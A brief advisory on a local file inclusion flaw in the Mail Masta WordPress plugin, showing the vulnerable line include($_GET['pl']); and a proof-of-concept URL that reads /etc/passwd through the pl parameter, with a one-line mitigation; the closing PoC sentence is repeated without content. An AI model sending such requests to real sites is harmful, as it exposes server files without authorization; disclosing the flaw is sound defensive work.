Mail Masta WP Local File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a 'dynamic file inclusion' mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. Typical proof-of-concept would be to load passwd file: http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Mitigation:

Input validation should be used to prevent the inclusion of malicious files.

Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:
